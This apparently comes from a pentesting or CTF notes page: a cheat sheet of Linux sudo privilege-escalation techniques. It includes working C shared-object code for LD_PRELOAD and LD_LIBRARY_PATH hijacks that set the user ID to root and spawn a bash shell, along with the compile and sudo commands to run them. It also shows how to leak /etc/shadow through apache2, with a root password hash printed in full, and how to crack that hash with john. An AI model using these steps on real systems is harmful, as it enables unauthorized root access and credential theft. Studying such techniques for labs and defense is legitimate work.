Environmental Variables
LD_PRELOAD
- Use
sudo -lto check if there is anenv_keepoption forLD_PRELOAD - Create a file (preload.c) with the file content below.
- Compile preload.c to preload.so:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c - Run any allowed program using
sudo, and set LD_PRELOAD to the compiled preload.so:
sudo LD_PRELOAD=/tmp/preload.so apache2
preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
LD_LIBRARY_PATH
- Use
sudo -lto check if there is anenv_keepoption forLD_LIBRARY_PATH - Run
lddagainst those suspicious app, eg apache2:
ldd /usr/sbin/apache2 - Randomly choose 1 of the library used (trial and error) for eg if we choose libcrypt.so.1
- Create a file as below (library_path.c)
- Compile the file into libcrypt.so.1:
gcc -o libcrypt.so.1 -shared -fPIC library_path.c - Run apache2 using
sudowhile setting LD_LIBRARY_PATH to the current directory (.) where we compiled the file:sudo LD_LIBRARY_PATH=. apache2
library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
Shell Escape Sequence
- List allowed to run via
sudo -l. - Check for shell escape sequence at https://gtfobins.github.io/
- Perform the sequence listed
Abusing Intended Functionality
- Some don’t have escape sequence but somehow can abuse their function.
- For example if run
sudo -land see apache2. - By providing apache2 with a config file:
sudo apache2 -f /etc/shadowwill throw you the full line 1 which is usually root. - Save the hash:
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVl aXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt - Crack using john:
john --format=sha512crypt --wordlist=/usr/share/seclists/rockyou.txt hash.txt suthen type in cracked password.
ALL:ALL as another user
- Use
sudo -u anotheruser bash -i, then you have access as that user.
Known Low Privilege Password
- Type
sudo suand enter the current user password. - If allowed will gain root access.
- If
sunot allowed can try the following:sudo -ssudo -isudo /bin/bashsudo passwd